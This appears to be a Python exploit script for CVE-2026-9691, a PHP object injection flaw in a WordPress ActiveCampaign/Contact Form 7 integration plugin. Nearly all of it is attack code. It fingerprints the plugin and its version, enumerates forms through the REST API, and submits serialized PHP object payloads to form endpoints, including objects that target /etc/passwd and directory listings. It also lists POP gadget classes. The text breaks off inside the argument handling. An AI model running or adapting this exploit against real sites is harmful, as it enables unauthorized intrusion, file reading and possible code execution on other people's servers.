1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
"""
CVE-2026-9691 Integration for ActiveCampaign PHP Object Injection Exploit
CVSS: 8.1 (High)
Unauthenticated attackers can inject arbitrary PHP objects by exploiting
unsafe deserialization of form field values. The vulnerability exists in
the cf7-active-campaign.php file where maybe_unserialize() is called on
user-supplied input without validation. If a POP chain exists, this can
lead to RCE, file deletion, or data exfiltration.
Legal Notice: Educational and authorized testing only.
"""
import requests
import re
import sys
import argparse
import time
import json
import pickle
import base64
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup
class ActiveCampaignExploit:
def __init__(self, target_url, verbose=False):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.plugin_detected = False
self.vulnerable_version = False
self.cf7_forms = []
def log(self, message, level="INFO"):
"""Log messages based on verbosity"""
if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
print(f"[{level}] {message}")
def detect_plugin(self):
"""Detect if ActiveCampaign plugin is installed"""
self.log("Detecting ActiveCampaign plugin...")
try:
# Check common plugin paths
plugin_paths = [
'/wp-content/plugins/cf7-active-campaign/',
'/wp-content/plugins/contact-form-activecamp/',
'/wp-content/plugins/activecamp-contact-form/',
'/wp-content/plugins/integration-activecampaign/'
]
for path in plugin_paths:
url = urljoin(self.target_url, path + 'cf7-active-campaign.php')
resp = self.session.head(url, timeout=10)
if resp.status_code == 200:
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
# Try to detect via readme.txt
for path in plugin_paths:
url = urljoin(self.target_url, path + 'readme.txt')
resp = self.session.get(url, timeout=10)
if resp.status_code == 200 and 'activecamp' in resp.text.lower():
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
self.log("Plugin not detected via direct paths", "ERROR")
return False
except Exception as e:
self.log(f"Error detecting plugin: {e}")
return False
def check_vulnerability(self):
"""Check if target is vulnerable"""
self.log("Checking vulnerability status...")
try:
# Try to access the plugin's main file
plugin_file = urljoin(self.target_url, '/wp-content/plugins/cf7-active-campaign/cf7-active-campaign.php')
resp = self.session.get(plugin_file, timeout=10)
if resp.status_code == 200:
# Check version
version_match = re.search(r'Version:\s*([0-9.]+)', resp.text)
if version_match:
version = version_match.group(1)
self.log(f"Plugin version: {version}", "INFO")
# Check if vulnerable (<=1.1.1)
version_parts = version.split('.')
if len(version_parts) >= 3:
try:
major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2])
if major < 1 or (major == 1 and minor < 1) or (major == 1 and minor == 1 and patch <= 1):
self.log(f"Version {version} is VULNERABLE!", "CRITICAL")
self.vulnerable_version = True
return True
else:
self.log(f"Version {version} appears patched", "ERROR")
return False
except ValueError:
pass
# Check for vulnerable code pattern
if 'maybe_unserialize' in resp.text and 'UNSAFE' not in resp.text:
self.log("Vulnerable code pattern detected!", "CRITICAL")
self.vulnerable_version = True
return True
self.log("Could not determine vulnerability status", "ERROR")
return False
except Exception as e:
self.log(f"Error checking vulnerability: {e}")
return False
def find_cf7_forms(self):
"""Find Contact Form 7 forms on the site"""
self.log("Searching for Contact Form 7 forms...")
try:
# Try REST API endpoint
api_url = urljoin(self.target_url, '/wp-json/contact-form-7/v1/contact-forms')
resp = self.session.get(api_url, timeout=10)
if resp.status_code == 200:
try:
data = resp.json()
if 'items' in data:
forms = data['items']
self.cf7_forms = forms
self.log(f"Found {len(forms)} CF7 forms via REST API", "SUCCESS")
return forms
except:
pass
# Try to find forms on homepage
resp = self.session.get(self.target_url, timeout=10)
# Look for form IDs
form_matches = re.findall(r'id=["\']wpcf7-f(\d+)-p\d+["\']', resp.text)
if form_matches:
forms = [{'id': form_id} for form_id in set(form_matches)]
self.cf7_forms = forms
self.log(f"Found {len(forms)} CF7 forms on homepage", "SUCCESS")
return forms
self.log("No CF7 forms found", "ERROR")
return []
except Exception as e:
self.log(f"Error finding CF7 forms: {e}")
return []
def create_php_payload(self, payload_type='generic'):
"""Create PHP object injection payload"""
self.log(f"Creating {payload_type} PHP payload...")
# PHP serialized payloads
payloads = {
'generic': 'O:8:"stdClass":0:{}',
'exception': 'O:9:"Exception":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}',
'arrayobject': 'O:11:"ArrayObject":3:{i:0;a:0:{}i:1;i:0;i:2;i:0;}',
'splfileinfo': 'O:12:"SplFileInfo":2:{s:8:"pathName";s:11:"/etc/passwd";s:4:"path";s:1:"/";}',
'directoryiterator': 'O:18:"DirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
'recursivedirectoryiterator': 'O:25:"RecursiveDirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
'error': 'O:5:"Error":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}',
}
if payload_type in payloads:
return payloads[payload_type]
return payloads['generic']
def inject_via_cf7_form(self, form_id, payload, field_name='your-name'):
"""Inject PHP object via CF7 form submission"""
self.log(f"Injecting payload via CF7 form {form_id}...")
try:
# CF7 form submission endpoint
form_url = urljoin(self.target_url, f'/?p={form_id}')
# Get form to extract nonce
resp = self.session.get(form_url, timeout=10)
# Extract nonce
nonce_match = re.search(r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', resp.text)
nonce = nonce_match.group(1) if nonce_match else ''
# Prepare form data with payload
form_data = {
field_name: {
'value': payload
},
'your-email': 'test@example.com',
'your-message': 'Test',
'_wpcf7': form_id,
'_wpcf7_nonce': nonce,
'_wpcf7_unit_tag': f'wpcf7-f{form_id}-p1-o1'
}
# Submit form
resp = self.session.post(
urljoin(self.target_url, '/wp-json/contact-form-7/v1/contact-forms/{}/feedback'.format(form_id)),
json=form_data,
timeout=15
)
self.log(f"Response Status: {resp.status_code}", "INFO")
if resp.status_code in [200, 201]:
self.log("Payload injected successfully!", "SUCCESS")
return True
else:
self.log(f"Injection may have failed: {resp.status_code}", "ERROR")
return False
except Exception as e:
self.log(f"Error injecting via CF7: {e}", "ERROR")
return False
def inject_via_post(self, payload, field_name='your-name'):
"""Inject PHP object via direct POST request"""
self.log("Injecting payload via direct POST...")
try:
# Try common form processing endpoints
endpoints = [
'/wp-admin/admin-ajax.php',
'/?action=cf7_submit',
'/wp-json/contact-form-7/v1/contact-forms/1/feedback',
]
for endpoint in endpoints:
url = urljoin(self.target_url, endpoint)
form_data = {
field_name: {
'value': payload
},
'action': 'cf7_submit'
}
resp = self.session.post(url, data=form_data, timeout=15)
if resp.status_code == 200:
self.log(f"Payload injected via {endpoint}", "SUCCESS")
return True
self.log("Direct POST injection failed", "ERROR")
return False
except Exception as e:
self.log(f"Error injecting via POST: {e}", "ERROR")
return False
def test_deserialization(self, form_id):
"""Test if deserialization occurs"""
self.log("Testing for deserialization...")
try:
# Send a simple serialized object
test_payload = 'O:8:"stdClass":1:{s:4:"test";s:5:"value";}'
form_data = {
'your-name': {
'value': test_payload
},
'your-email': 'test@example.com'
}
resp = self.session.post(
urljoin(self.target_url, f'/wp-json/contact-form-7/v1/contact-forms/{form_id}/feedback'),
json=form_data,
timeout=15
)
# Check for signs of deserialization
if resp.status_code in [200, 201]:
self.log("Deserialization appears to occur!", "SUCCESS")
return True
else:
self.log("No deserialization detected", "ERROR")
return False
except Exception as e:
self.log(f"Error testing deserialization: {e}")
return False
def find_pop_chains(self):
"""Identify potential POP chains"""
self.log("Searching for potential POP chains...")
pop_chains = []
try:
# Check for common gadget classes
gadget_classes = [
'Monolog\\Handler\\SyslogUdpHandler',
'Monolog\\Handler\\BufferHandler',
'PHPMailer\\PHPMailer\\PHPMailer',
'Swift_Mailer',
'Doctrine\\ORM\\Mapping\\ClassMetadata',
'Guzzle\\Http\\Message\\Response',
'Symfony\\Component\\Process\\Process',
]
self.log("POP chain detection requires manual analysis", "INFO")
return pop_chains
except Exception as e:
self.log(f"Error finding POP chains: {e}")
return []
def exploit(self, payload_type='generic'):
"""Execute full exploit chain"""
print("\n" + "="*70)
print("CVE-2026-9691 Integration for ActiveCampaign PHP Object Injection")
print("="*70 + "\n")
# Step 1: Detect plugin
if not self.detect_plugin():
self.log("Plugin not detected. Exploit may not be applicable.", "ERROR")
return False
# Step 2: Check vulnerability
if not self.check_vulnerability():
self.log("Target does not appear to be vulnerable", "ERROR")
return False
# Step 3: Find CF7 forms
forms = self.find_cf7_forms()
if not forms:
self.log("No CF7 forms found", "ERROR")
return False
# Step 4: Create payload
payload = self.create_php_payload(payload_type)
self.log(f"Payload: {payload}", "INFO")
# Step 5: Test deserialization with first form
form_id = forms[0].get('id') or forms[0].get('post_id')
if not self.test_deserialization(form_id):
self.log("Deserialization test failed", "ERROR")
return False
# Step 6: Inject payload
success = False
for form in forms:
form_id = form.get('id') or form.get('post_id')
if self.inject_via_cf7_form(form_id, payload):
success = True
break
if not success:
# Try direct POST
if self.inject_via_post(payload):
success = True
if not success:
return False
print("\n" + "="*70)
print("EXPLOITATION SUCCESSFUL")
print("="*70)
print(f"Target: {self.target_url}")
print(f"Plugin: Integration for ActiveCampaign")
print(f"Payload Type: {payload_type}")
print(f"Payload: {payload}")
print(f"\nObject Injection Successful!")
print(f"Impact depends on available POP chains:")
print(f" - File deletion")
print(f" - Sensitive data retrieval")
print(f" - Remote code execution (with POP chain)")
print("="*70 + "\n")
return True
class CF7FormAnalyzer:
"""Analyze CF7 forms and their fields"""
def __init__(self, target_url, session):
self.target_url = target_url.rstrip('/')
self.session = session
def get_form_fields(self, form_id):
"""Get fields from a specific CF7 form"""
fields = []
try:
api_url = urljoin(
self.target_url,
f'/wp-json/contact-form-7/v1/contact-forms/{form_id}'
)
resp = self.session.get(api_url, timeout=10)
if resp.status_code == 200:
data = resp.json()
# Extract form properties
if 'properties' in data:
props = data['properties']
# Parse form fields
if 'form' in props:
form_html = props['form']
# Extract field names
field_matches = re.findall(r'\[([a-z0-9_-]+)\]', form_html)
fields = list(set(field_matches))
except:
pass
return fields
def analyze_all_forms(self):
"""Analyze all CF7 forms"""
forms_data = []
try:
api_url = urljoin(self.target_url, '/wp-json/contact-form-7/v1/contact-forms')
resp = self.session.get(api_url, timeout=10)
if resp.status_code == 200:
data = resp.json()
if 'items' in data:
for form in data['items']:
form_id = form.get('id')
fields = self.get_form_fields(form_id)
forms_data.append({
'id': form_id,
'title': form.get('title'),
'fields': fields
})
except:
pass
return forms_data
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-9691 Integration for ActiveCampaign PHP Object Injection Exploit'
)
parser.add_argument('target', help='Target URL (e.g., https://example.com)')
parser.add_argument('-p', '--payload', default='generic',
choices=['generic', 'exception', 'arrayobject', 'splfileinfo',
'directoryiterator', 'recursivedirectoryiterator', 'error'],
help='Payload type (default: generic)')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('--detect', action='store_true', help='Detect plugin only')
parser.add_argument('--check', action='store_true', help='Check vulnerability only')
parser.add_argument('--find-forms', action='store_true', help='Find CF7 forms only')
parser.add_argument('--analyze-forms', action='store_true', help='Analyze CF7 forms and fields')
parser.add_argument('--find-pop', action='store_true', help='Find POP chains')
args = parser.parse_args()
# Create exploit instance
exploit = ActiveCampaignExploit(args.target, verbose=args.verbose)
# Detect only
if args.detect:
if exploit.detect_plugin():
print("[+] Plugin detected!")
else:
print("[-] Plugin not detected")
sys.exit(0)
# Check vulnerability
if args.check:
if exploit.check_vulnerability():
print("[+] Target is vulnerable!")
else:
print("[-] Target does not appear vulnerable")
sys.exit(0)
# Find forms
if args.find_forms:
forms = exploit.find_cf7_forms()
print(f"\n[+] Found {len(forms)} CF7 forms:")
for form in forms:
form_id = form.get('id') or form.get('post_id')
|
